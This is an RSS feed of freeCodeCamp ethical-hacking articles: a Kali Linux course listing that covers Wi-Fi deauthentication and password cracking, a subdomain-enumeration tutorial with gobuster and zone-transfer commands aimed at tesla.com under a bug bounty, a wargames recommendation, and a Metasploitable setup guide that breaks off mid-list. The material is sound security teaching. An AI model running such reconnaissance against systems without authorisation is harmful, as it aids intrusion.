<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ Ethical Hacking - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ Ethical Hacking - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Mon, 18 May 2026 04:49:02 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/ethical-hacking/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ Learn Cybersecurity and Ethical Hacking using Kali Linux ]]>
                </title>
                <description>
                    <![CDATA[ To protect your applications against threats, it’s helpful to understand the methods that attackers can use against you. We just posted a course on the freeCodeCamp.org YouTube channel that will help you master the fundamentals of cybersecurity and e... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/learn-cybersecurity-and-ethical-hacking-using-kali-linux/</link>
                <guid isPermaLink="false">698ca68cf15922839824f638</guid>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ youtube ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Beau Carnes ]]>
                </dc:creator>
                <pubDate>Wed, 11 Feb 2026 15:55:56 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770825132682/2e29f195-76dc-4def-8931-fc86f409e131.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>To protect your applications against threats, it’s helpful to understand the methods that attackers can use against you.</p>
<p>We just posted a course on the freeCodeCamp.org YouTube channel that will help you master the fundamentals of cybersecurity and ethical hacking. This is a beginner-friendly, hands-on course using Kali Linux.</p>
<p>You’ll learn to identify, exploit, and defend against real-world vulnerabilities while building a solid foundation in penetration testing, network security, and vulnerability assessment. By mastering professional tools like Nmap and Wireshark, you will develop the practical skills and mindset needed to secure systems and think like an ethical hacker. This course was created by Sunny Dimalu The Cyborg.</p>
<p>Here are the sections in this course:</p>
<ul>
<li><p>Introduction</p>
</li>
<li><p>What is Kali Linux</p>
</li>
<li><p>Basic Commands &amp; Terminal Customization</p>
</li>
<li><p>ls Command</p>
</li>
<li><p>cd Command</p>
</li>
<li><p>Nano Editor</p>
</li>
<li><p>cat Command</p>
</li>
<li><p>Create Files Using cat</p>
</li>
<li><p>Create Directories</p>
</li>
<li><p>grep Command</p>
</li>
<li><p>wc Command</p>
</li>
<li><p>Output Redirection</p>
</li>
<li><p>Piping</p>
</li>
<li><p>Copy Files</p>
</li>
<li><p>Remove Files &amp; Directories</p>
</li>
<li><p>Types of Users</p>
</li>
<li><p>Root User</p>
</li>
<li><p>sudo Command (Administrative Tasks)</p>
</li>
<li><p>ip addr Command</p>
</li>
<li><p>Install Packages</p>
</li>
<li><p>Remove Packages</p>
</li>
<li><p>Introduction to Nmap</p>
</li>
<li><p>Scan Ports</p>
</li>
<li><p>Wi-Fi Security: System Requirements &amp; Wireless Card</p>
</li>
<li><p>Introduction to Aircrack-ng</p>
</li>
<li><p>Monitor Mode vs Managed Mode</p>
</li>
<li><p>Enable Monitor Mode</p>
</li>
<li><p>Scan Wi-Fi Networks &amp; Capture Traffic</p>
</li>
<li><p>Scan 5GHz Wi-Fi Networks (Theory)</p>
</li>
<li><p>Scan 5GHz Wi-Fi Networks (Practical)</p>
</li>
<li><p>What is a 4-Way Handshake</p>
</li>
<li><p>Capture a 4-Way Handshake</p>
</li>
<li><p>What is a De-authentication Attack</p>
</li>
<li><p>Capture 4-Way Handshake Using De-authentication Attack</p>
</li>
<li><p>Wordlists &amp; Dictionary Attacks</p>
</li>
<li><p>Crack / Recover Wi-Fi Password</p>
</li>
<li><p>Detect De-authentication Attacks /Threats</p>
</li>
<li><p>Wireshark Tutorial</p>
</li>
</ul>
<p>Watch the full course on <a target="_blank" href="https://youtu.be/ug8W0sFiVJo">the freeCodeCamp.org YouTube channel</a> (4-hour watch).</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/ug8W0sFiVJo" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Discover Hidden Subdomains as an Ethical Hacker ]]>
                </title>
                <description>
                    <![CDATA[ Subdomains are an essential part of a website’s infrastructure. They provide additional functions in a web application, such as APIs, admin portals, and staging environments. As an ethical hacker, discovering subdomains is a critical step in learning... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-discover-hidden-subdomains-as-an-ethical-hacker/</link>
                <guid isPermaLink="false">677d84ad446398ca6f670bef</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ gobuster ]]>
                    </category>
                
                    <category>
                        <![CDATA[ domain ]]>
                    </category>
                
                    <category>
                        <![CDATA[ subdomains ]]>
                    </category>
                
                    <category>
                        <![CDATA[ fuzzing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 07 Jan 2025 19:46:53 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806321604/dec39da9-6dd8-4a73-ba64-5cf894ce34f4.webp" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Subdomains are an essential part of a website’s infrastructure. They provide additional functions in a web application, such as APIs, admin portals, and staging environments.</p>
<p>As an ethical hacker, discovering subdomains is a critical step in learning the attack surface of a target. Subdomains might not be protected well, unlike the main domain. So they can be a great entry point for security auditing or bug bounty programs.</p>
<p>In this article, I’ll walk you through how to find subdomains using multiple methods. We will use <a target="_blank" href="http://tesla.com/">tesla.com</a> as our example in subdomain research.</p>
<blockquote>
<p><em>Note: tesla.com is part of bug bounty programs, so we have permission to scan it for subdomains. If you are doing this in another web application, make sure you have permission.</em></p>
</blockquote>
<h2 id="heading-crtsh"><strong>Crt.sh</strong></h2>
<p>One of the easiest ways to start is by checking Certificate Transparency (CT) logs using <a target="_blank" href="https://crt.sh/">crt.sh</a>. This website records every SSL/TLS certificate issued for a domain, including subdomains.</p>
<p>To search for Tesla’s subdomains, visit <a target="_blank" href="https://crt.sh/">crt.sh</a> and enter <code>%.tesla.com</code> as the query. The <code>%</code> acts as a wildcard to match any subdomains.</p>
<p>Let's look at the results:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806389562/eabc92c8-6fff-45fb-ba1c-00f582a31c4f.webp" alt="tesla.com subdomain research - results of running tesla.com through crt.sh" class="image--center mx-auto" width="1100" height="471" loading="lazy"></p>
<p>We can see a lot of interesting subdomains listed in the results. These subdomains may belong to different parts of Tesla’s infrastructure.</p>
<p>For example, <code>shop.tesla.com</code> is likely for their online store, while <code>api.tesla.com</code> could host application programming interfaces.</p>
<p>Using <code>crt.sh</code> is passive, meaning it doesn’t interact with the target, making it both safe and stealthy.</p>
<p>Note that <a target="_blank" href="http://crt.sh">crt.sh</a> will only display subdomains that have valid certificates. If a subdomain uses self-signed certificates or doesn’t use SSL/TLS at all, it may not appear in these logs. Despite this limitation, <a target="_blank" href="http://crt.sh">crt.sh</a> remains a quick and efficient starting point for subdomain enumeration.</p>
<h2 id="heading-sublist3r"><strong>Sublist3r</strong></h2>
<p><a target="_blank" href="https://github.com/aboul3la/Sublist3r">Sublist3r</a> is an open-source tool to automate finding subdomains. It’s helpful in both security assessments and general reconnaissance.</p>
<p>By using multiple search engines (like Google, Bing, Yahoo, and more) Sublist3r finds subdomains that might otherwise remain hidden.</p>
<p>Sublist3r’s command-line interface is simple to use — you give it a domain, and Sublist3r goes to work.</p>
<p>Thanks to its open-source nature, it’s actively maintained and improved by the security community.</p>
<p>Sublist3r is not pre-installed on Kali, so lets go ahead and install it. First, clone the repository and install the requirements:</p>
<pre><code class="lang-plaintext">git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
sudo pip install -r requirements.txt
</code></pre>
<p>Now we are ready to use the sublist3r tool. Here is the syntax to use sublist3r:</p>
<pre><code class="lang-plaintext">python sublist3r.py -d tesla.com
</code></pre>
<p>After a few minutes, Sublist3r will return a list of discovered subdomains. The <code>-d</code> flag tells sublist3r that the domain to use is tesla.com</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806446961/b2f239bf-5a9b-4da6-a875-d9326e2b0621.webp" alt="sublist3r response" class="image--center mx-auto" width="1100" height="313" loading="lazy"></p>
<p>You can see that sublist3r has found more than 300 subdomains of <a target="_blank" href="http://tesla.com">tesla.com</a>. Sublist3r is an excellent way to jump-start the recon process, especially if you want to automate the collection of subdomains without installing numerous separate tools.</p>
<p>Note that Sublist3r relies on the APIs of these search engines and other data sources. So it can sometimes miss subdomains that haven’t been crawled or indexed.</p>
<h2 id="heading-google-dorking"><strong>Google Dorking</strong></h2>
<p>Google dorking (sometimes called “Google hacking”) refers to the practice of using special search queries on Google. These operators help to find hidden information, sensitive data, or other resources that would otherwise be hard to locate.</p>
<p>Common operators include <code>site:</code>, <code>inurl:</code>, <code>filetype:</code>, and <code>intitle:</code>, among many others. Let’s start with the <code>site:</code> operator:</p>
<pre><code class="lang-plaintext">site:*.tesla.com
</code></pre>
<p>This query searches for any subdomain of <a target="_blank" href="http://tesla.com"><code>tesla.com</code></a>. Here are some search results.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806489328/fb4187aa-aa35-45d7-b975-5487de0093e2.webp" alt="tesla.com google dork" class="image--center mx-auto" width="1100" height="619" loading="lazy"></p>
<p>To dig deeper, try combining <code>site:</code> with other operators. For example, we can use the <code>inurl</code> operator with the keyword ‘admin’ to find URLs containing the word admin.</p>
<pre><code class="lang-plaintext">site:*.tesla.com inurl:admi
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806522371/02c44cdd-1bc3-4c8c-822a-16f883b6c166.webp" alt="02c44cdd-1bc3-4c8c-822a-16f883b6c166" class="image--center mx-auto" width="1100" height="604" loading="lazy"></p>
<p>By using these operators (known as Google dorks), you can filter search results to find specific file types, directories, or even private information that may be unintentionally exposed on the internet.</p>
<p>Dorking can produce a lot of data, so you may need to carefully filter your searches to avoid getting flooded with irrelevant information.</p>
<p><a target="_blank" href="https://www.stealthsecurity.sh/p/google-dorking-the-ultimate-guide-to-finding-hidden-information-on-the-web">Here is a full tutorial</a> on Google dorking.</p>
<h2 id="heading-fuzzing-with-gobuster"><strong>Fuzzing with GoBuster</strong></h2>
<p>Now what if the subdomains of a target are not listed anywhere on the internet? We fuzz for it.</p>
<p>Fuzzing is simply brute-forcing potential subdomain names by trying combinations from a wordlist. A wordlist is a list of words that we will use along with the fuzzing tool to see if a subdomain exists.</p>
<p>A subdomain wordlist can contain words like:</p>
<pre><code class="lang-plaintext">ftp
root
admin
portal
api
</code></pre>
<p>Tools like Gobuster and Ffuf can use a wordlist to check whether these subdomains exist. Here is a sample <a target="_blank" href="https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/DNS/subdomains-top1million-110000.txt">subdomain wordlist</a>.</p>
<h3 id="heading-how-gobuster-works"><strong>How Gobuster Works</strong></h3>
<p><a target="_blank" href="https://www.stealthsecurity.sh/p/finding-hidden-directories-subdomains-s3-buckets-using-gobuster">Gobuster</a> is a fast brute-force tool for discovering hidden URLs, files, and directories within websites.</p>
<p>Ffuf is a wonderful web fuzzer, but Gobuster is a faster and more flexible alternative. Gobuster has support for extensions with which we can increase its capabilities.</p>
<p>Gobuster also can scale using multiple threads and perform parallel scans to speed up results.</p>
<p>Gobuster comes pre-installed in Kali Linux. Let’s run the following command to look for subdomains. You can find the word list under /usr/share/wordlists/SecLists in Kali Linux.</p>
<pre><code class="lang-plaintext">gobuster dns -d tesla.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
</code></pre>
<p>The above command checks each word in the wordlist to see if it resolves to a valid subdomain. Here’s a sample output:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806581200/46b3d437-9918-416c-a510-f647e9ac303e.webp" alt="46b3d437-9918-416c-a510-f647e9ac303e" class="image--center mx-auto" width="1100" height="371" loading="lazy"></p>
<p>Gobuster’s results show valid subdomains, including some that might not appear in public databases, like <code>staging.tesla.com</code> or <code>dev.tesla.com</code>.</p>
<p>Fuzzing should be combined with other methods since the results are only as good as the wordlist. For example, prod-version-2.tesla.com can be a subdomain which may not be a part of the wordlist.</p>
<h2 id="heading-other-methods-for-subdomain-discovery"><strong>Other Methods for Subdomain Discovery</strong></h2>
<h3 id="heading-dns-zone-transfers"><strong>DNS Zone Transfers</strong></h3>
<p>While rare, misconfigured DNS servers can allow zone transfers, revealing all subdomains at once. You can test this using <code>dig</code>:</p>
<pre><code class="lang-plaintext">dig axfr @ns1.tesla.com tesla.com
</code></pre>
<p>If the server is properly secured, it won’t allow a zone transfer. But if it’s misconfigured, you might uncover every subdomain Tesla uses.</p>
<h3 id="heading-online-tools"><strong>Online Tools</strong></h3>
<p>Websites like <a target="_blank" href="https://securitytrails.com/">SecurityTrails</a>, <a target="_blank" href="https://shodan.io/">Shodan</a>, and <a target="_blank" href="https://censys.io/">Censys</a> aggregate subdomain data. These tools provide a centralized view of publicly available information.</p>
<h3 id="heading-inspecting-javascript-files"><strong>Inspecting JavaScript Files</strong></h3>
<p>Subdomains often appear in a website’s JavaScript files. By examining Tesla’s website, you might find references to API endpoints or other subdomains.</p>
<h2 id="heading-post-subdomain-discovery">Post-Subdomain Discovery</h2>
<p>Once you have a list of subdomains, we can probe them further. We may discover sign-in portals, development pages, or API endpoints.</p>
<p>Ethical hackers typically use port scanning and service enumeration tools like Nmap and Nikto to find the open ports and running services on each subdomain. Identifying outdated software, insecure protocols, or default credentials is often the next critical step, as these are common weak points in any environment.</p>
<p>Subdomains often show us the broader infrastructure of the website if they are left unprotected.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Subdomain discovery is a critical skill for ethical hackers. It helps us understand the complete picture of a web application. The more we know, the better entry points we have to gain access.</p>
<p>Before using these techniques, always ensure you have proper authorization. Subdomain discovery helps with security audits by uncovering hidden assets and helping organizations protect themselves from potential threats.</p>
<p>For more practical tutorials on cybersecurity, join our <a target="_blank" href="https://www.stealthsecurity.sh/"><strong>weekly newsletter</strong></a>. If you want to practice these subdomain discovery techniques through a hands-on lab, join us at the <a target="_blank" href="https://www.skool.com/hackershub"><strong>Hacker’s Hub</strong></a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Improve Your Hacking Skills by Playing OverTheWire Wargames ]]>
                </title>
                <description>
                    <![CDATA[ Hacking is a skill that fascinates many people. You’ve seen hackers in movies. They type at keyboards, breaking into high-security systems in seconds. But real hacking isn’t quite like that. It takes patience, creativity, and most importantly, a lot ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/improve-hacking-skills-by-playing-wargames/</link>
                <guid isPermaLink="false">67053a4e679acd712108246d</guid>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 08 Oct 2024 13:57:34 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728392145727/bb646db1-f69a-4654-b01c-15fbe94a9c00.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hacking is a skill that fascinates many people. You’ve seen hackers in movies. They type at keyboards, breaking into high-security systems in seconds.</p>
<p>But real hacking isn’t quite like that. It takes patience, creativity, and most importantly, a lot of practice.</p>
<p>One of the best ways to sharpen your hacking skills is by playing wargames. They are interactive hacking challenges that push your problem-solving abilities. Of the many online wargames, <a target="_blank" href="https://overthewire.org/wargames/">OverTheWire</a> is the best. It is fun, educational, and accessible for both beginners and expert hackers.</p>
<p>In this article, we’ll explore why OverTheWire is such a fantastic resource. Whether you’re new to hacking or want to test your skills, OverTheWire will have something for you.</p>
<h1 id="heading-what-are-wargames"><strong>What are Wargames?</strong></h1>
<p>In cybersecurity, wargames are exercises. They simulate attacking and defending computer systems. These games often mimic real-life scenarios. They help you improve your skills without real-world risks.</p>
<p>Wargames can take different forms. Capture the Flag (CTF) is a common type. Players solve challenges to find hidden “flags” in the system. In attack-defense games, teams protect their systems while trying to compromise the opponent’s. In incident response wargames, defenders react to a simulated cyberattack and work to recover.</p>
<p>Wargames give you hands-on experience in cybersecurity. They teach you how to solve problems, think critically, and handle pressure while working in teams. These exercises are valuable for building real-world skills.</p>
<h1 id="heading-what-is-overthewire"><strong>What is OverTheWire?</strong></h1>
<p>OverTheWire is an online platform that offers a collection of wargames. These wargames teach you the basics of cybersecurity through hands-on challenges.</p>
<p>The site hosts several different games, each focusing on different aspects of hacking. You will encounter everything from basic Linux commands to more advanced topics.</p>
<p>OverTheWire wargames are progressive. This means that they start out easy and gradually get harder as you advance through the levels.</p>
<p>If you’re just starting out, this makes the learning curve manageable. But don’t worry, the more complex challenges will give even seasoned hackers something to chew on.</p>
<p>OverTheWire doesn’t just stick to one type of challenge. As you progress through different games, you’ll encounter a wide array of topics. These include Linux fundamentals, networking, file manipulation, scripting, and many others.</p>
<p>Some games, like Narnia, exploit buffer overflows. Others, like Krypton, dive into cryptography. This variety ensures you get a well-rounded education in different aspects of cybersecurity.</p>
<p>OverTheWire has a large, <a target="_blank" href="https://overthewire.org/information/chat.html">active community</a>. While the wargames encourage you to solve problems on your own, there is no shortage of help when you need it.</p>
<p>The official forums are great for asking questions and sharing insights. You can also discuss tricky levels with other players.</p>
<p>While the community can help, solving the challenges yourself is the best way to learn. Looking up answers too early can take away from the experience.</p>
<h1 id="heading-wargames-you-should-try"><strong>Wargames You Should Try</strong></h1>
<p>Let’s take a quick look at some of the key wargames on OverTheWire that you can start playing today.</p>
<p><a target="_blank" href="https://overthewire.org/wargames/bandit/"><strong>Bandit</strong></a></p>
<p>Bandit is the entry point for most people. Bandit teaches you basic Linux commands, file manipulation, and navigation. It’s a perfect place to start if you’ve never used the terminal before or if you want to brush up on fundamental skills.</p>
<p>For example, in one of the early Bandit levels, you are given a password hidden inside a text file. The challenge is finding the file, reading its contents, and then using that information to advance to the next level.</p>
<p><a target="_blank" href="https://overthewire.org/wargames/leviathan/"><strong>Leviathan</strong></a></p>
<p><strong>Leviathan</strong> is more advanced. It teaches you about binary analysis and how to find vulnerabilities in programs. Players solve puzzles that require reverse engineering, debugging, and exploiting weaknesses. It’s a great way to practice finding and fixing security flaws in software.</p>
<p><a target="_blank" href="https://overthewire.org/wargames/narnia/"><strong>Narnia</strong></a></p>
<p>If you want to learn about buffer overflows and binary exploitation, Narnia will teach you both. It starts with simple vulnerabilities and gradually increases in difficulty. You’ll learn how to exploit code to gain control over programs and escalate privileges.</p>
<h1 id="heading-conclusion"><strong>Conclusion</strong></h1>
<p>OverTheWire is a fantastic resource for anyone interested in ethical hacking. The platform offers a structured, hands-on way to build up your cybersecurity skills. It’s not just about solving puzzles, it’s about learning how to think like a hacker.</p>
<p>So, if you want to sharpen your problem-solving skills, improve your technical knowledge, or just have some fun breaking into systems (legally), give OverTheWire a try. You’ll learn a lot, and who knows, you might just become the next great cybersecurity expert!</p>
<p>For more articles on Cybersecurity, join our weekly newsletter <a target="_blank" href="https://www.stealthsecurity.sh/"><strong><em>Stealth Security</em></strong></a><strong><em>.</em></strong></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Ethical Hacking 101 – How to Set Up Metasploitable on Your Computer ]]>
                </title>
                <description>
                    <![CDATA[ Ladies and Gentlemen, welcome to the world of Virtual Machines 🖥️ So you’ve discovered the world of ethical hacking and you want to try your hands on something. Trouble is, doing some ‘practical application’ on the wrong thing could get you fined, a... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-set-up-metasploitable/</link>
                <guid isPermaLink="false">66bb90185d242388375d387e</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ virtual machine ]]>
                    </category>
                
                    <category>
                        <![CDATA[ VirtualBox  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Tue, 12 Mar 2024 12:39:45 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2024/08/pexels-mati-6330644.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Ladies and Gentlemen, welcome to the world of Virtual Machines 🖥️</p>
<p>So you’ve discovered the world of ethical hacking and you want to try your hands on something. Trouble is, doing some ‘practical application’ on the wrong thing could get you fined, arrested, and even undesired jail time.</p>
<p>You don’t have to give up your dreams just yet though. There is a legal, ethical way to sharpen your cyber offensive skills: Vulnerable Virtual Machines.</p>
<p>In this tutorial, we’ll take a look at the following:</p>
<ol>
<li><a class="post-section-overview" href="#heading-what-is-a-virtual-machine">What is a Virtual Machine?</a></li>
<li><a class="post-section-overview" href="#heading-what-is-metasploitable">What is Metasploitable?</a></li>
<li><a class="post-section-overview" href="#heading-how-to-set-up-metasploitable">How to Set Up Metasploitable</a></li>
<li><a class="post-section-overview" href="#heading-a-quick-word-on-vulnerable-machines">A Quick Word on Vulnerable VMs</a></li>
</ol>
<p>So without further ado, let’s jump in.</p>
<h2 id="heading-what-is-a-virtual-machine">What is a Virtual Machine?</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-38.png" alt="Image" width="600" height="400" loading="lazy">
<em>Virtual Machines ¦ Credit: [Hackersarts](https://www.deviantart.com/hackersarts" rel="noopener noreferrer)</em></p>
<p>A Virtual Machine (VM) is an emulation of a computer system. Think of it like a mini disposable environment where you can play around with different operating systems and software. </p>
<p>On a VM, you can delete critical system files, test software, or even install a virus (not recommended), and nothing will happen to your actual system.</p>
<p>All this is made possible with a hypervisor, a software that takes some of your ‘host’ system’s hardware resources, and makes it available for the ‘guest’ machine. A hypervisor allows you to determine things like how much RAM, storage, and even screens (if you have multiple displays), you want to hand over to the VM.</p>
<p>There are 2 types of hypervisors, namely:</p>
<ul>
<li>Type 1 hypervisors</li>
<li>Type 2 hypervisors</li>
</ul>
<p>Mind blowing naming scheme, I know.</p>
<p>Type 1 hypervisors run directly on the physical host machine and have direct access to hardware resources. They tend to be used for servers and enterprise-level infrastructure. They are considered more efficient because of their direct access to the host resources. Examples of type 1 hypervisors include Microsoft Hyper-V and VMware ESXi.</p>
<p>Type 2 hypervisors, on the other hand, are installed on the host OS, and manages the hardware resources for the guest. You would find these on personal computers and they make hardware resource management pretty easy for the average user. Examples of type 2 hypervisors are Oracle VirtualBox (my personal favourite 😌) and VMware Workstation.</p>
<p>We’ll be using Oracle VirtualBox, a type 2 hypervisor, for simplicity (and because I don’t have a server randomly lying around the house). Now, let’s find an appropriate vulnerable VM to install.</p>
<h2 id="heading-what-is-metasploitable">What is Metasploitable?</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-39.png" alt="Image" width="600" height="400" loading="lazy">
<em>A mere box ¦ Credit: [Rostislav Uzunov](https://www.pexels.com/@rostislav/" rel="noopener noreferrer)</em></p>
<p>Metasploitable is an ‘intentionally vulnerable virtual machine’ by Rapid7, owners of the popular security project, Metasploit. Note that Metasploitable and Metasploit are two different things entirely. The previous is a VM while the latter is a cyber offense tool (which may or may not be covered in a later article 😉).</p>
<p>VMs, much like any other computer, need to be as secure as possible. Metasploitable does the complete opposite. It comes out of the box with enough vulnerabilities to give the cybersecurity professionals at <a target="_blank" href="https://cysed.org">CYSED</a> serious nightmares. The VM is a Linux-based system with various ports open, insecure configurations, and outdated software.</p>
<p>Now, let’s figure out how to install it securely on our systems.</p>
<h2 id="heading-how-to-set-up-metasploitable">How to Set Up Metasploitable</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-40.png" alt="Image" width="600" height="400" loading="lazy">
<em>The metasploitable interface ¦ Credit: Author</em></p>
<p>Before we go further, you’re going to need a few things:</p>
<ul>
<li>An Internet Connection</li>
<li>A Computer with at least 8 GB RAM and 20 GB free storage</li>
<li>A flair to be an awesome geek</li>
</ul>
<p>And with those boxes checked, let’s get started.</p>
<p>To download the VM, head over to Google and type in ‘Metasploitable download’. Click on the first link by <a target="_blank" href="https://sourceforge.net/projects/metasploitable/">SourceForge</a>, and hit download. The file is about 800 megabytes so feel free to pull up an episode of Scooby-Doo while that’s downloading.</p>
<p>You should have a zip file like this once that is done:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-41.png" alt="Image" width="600" height="400" loading="lazy">
<em>The metasploitable zip file ¦ Credit: Author</em></p>
<p>Right-click and hit ‘Extract All…’ to get the VM Disk. You should see some files like this:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-42.png" alt="Image" width="600" height="400" loading="lazy">
<em>The zip file contents ¦ Credit: Author</em></p>
<p>We’re going to need VirtualBox to install our VM. You can quickly setup VirtualBox using this <a target="_blank" href="https://www.freecodecamp.org/news/what-is-a-virtual-machine-and-how-to-setup-a-vm-on-windows-linux-and-mac/">tutorial</a> by <a target="_blank" href="https://www.freecodecamp.org/news/author/beau/">Beau Carnes</a>. To import Metasploitable, open VirtualBox and click on ‘New’. Set the following options:</p>
<p>Name: Metasploitable (or whatever you like)</p>
<p>Type: Linux</p>
<p>Version: Other Linux (64-bit)</p>
<p>You don't have to select an ISO image because the OS is already in the virtual hard disk which will be installed as we go along.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-43.png" alt="Image" width="600" height="400" loading="lazy">
<em>Setting up the VM ¦ Credit: Author</em></p>
<p>Click on ‘Next’, which should take you to the hardware section. As mentioned before, a VM is a simulation of the real system, which requires resources like RAM and a Processor. You can change the amount of RAM and logical processors your VM uses. </p>
<p>Keep in mind that the more resources you allocate to the VM, the less resources you have for your system.</p>
<p>On that note, I would suggest leaving the default hardware settings.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-44.png" alt="Image" width="600" height="400" loading="lazy">
<em>Deciding how much hardware we need ¦ Credit: Author</em></p>
<p>Quick lesson: Your system likely only has 1 physical processor but can have as many as 8 or more logical processors. This is because of something called <strong>hyperthreading</strong>, where a computer basically converts it’s physical cores into multiple smaller virtual ones. Now back to the tutorial.</p>
<p>Click ‘Next’ and you’ll be directed to the ‘Virtual Hard disk’ section. Normally, you’d create a virtual hard disk for your VM but we already have one.</p>
<p>Click on ‘Use an Existing Virtual Hard Disk File’ and hit ‘Add’ at the top right.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-45.png" alt="Image" width="600" height="400" loading="lazy">
<em>Selecting a Virtual hard disk ¦ Credit: Author</em></p>
<p>This will open up File Explorer, where you will proceed to select the ‘Metasploitable.vmdk’ file. Once that is done, Metasploitable should appear under the ‘Not Attached’ list.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-46.png" alt="Image" width="600" height="400" loading="lazy">
<em>Selecting the Metasploitable hard disk ¦ Credit: Author</em></p>
<p>Select it, hit ‘Choose’ and click on ‘Next’. You will be led to a ‘Summary’ section which will give you information about the VM before it is finally setup.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-47.png" alt="Image" width="600" height="400" loading="lazy">
<em>Putting in the final touches ¦ Credit: Author</em></p>
<p>Let’s finish it up by literally hitting ‘Finish’ and you should get a screen like so.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-48.png" alt="Image" width="600" height="400" loading="lazy">
<em>Metasploitable installed on VirtualBox ¦ Credit: Author</em></p>
<p>Congratulations on setting up Metasploitable 🎉. Now you can build your cybersecurity skills without risking a trip to your local prison 😉.</p>
<p>The credentials for the machine are <code>msfadmin:msfadmin</code>. Feel free to boot up your Kali machine, ping the machines, and start hacking. Here, I’ll give you a hint: It starts with ‘nmap’ 👁️.</p>
<h2 id="heading-a-quick-word-on-vulnerable-machines">A Quick Word on Vulnerable Machines</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/03/image-49.png" alt="Image" width="600" height="400" loading="lazy">
<em>A network of sorts ¦ Credit: [AcatXIo](https://pixabay.com/users/acatxio-20233758/" rel="noopener noreferrer)</em></p>
<p>Just like a real system, a virtual machine is vulnerable to real world attacks. Try not to leave Metasploitable up when not in use and definitely do not expose it to an untrusted network. </p>
<p>By default, the VM is set to use NAT (Network Address Translation) which adds a layer of security by isolating it from the external network while providing it access to the internet.</p>
<p>However, this may not be a comprehensive solution. One common alternative is to change the network adapter settings to ‘Host-Only’, which shuts the VM off from the Internet but allows it to communicate with other VMs and the host.</p>
<p>If you’re wondering what the other options are, here is a quick summary for each:</p>
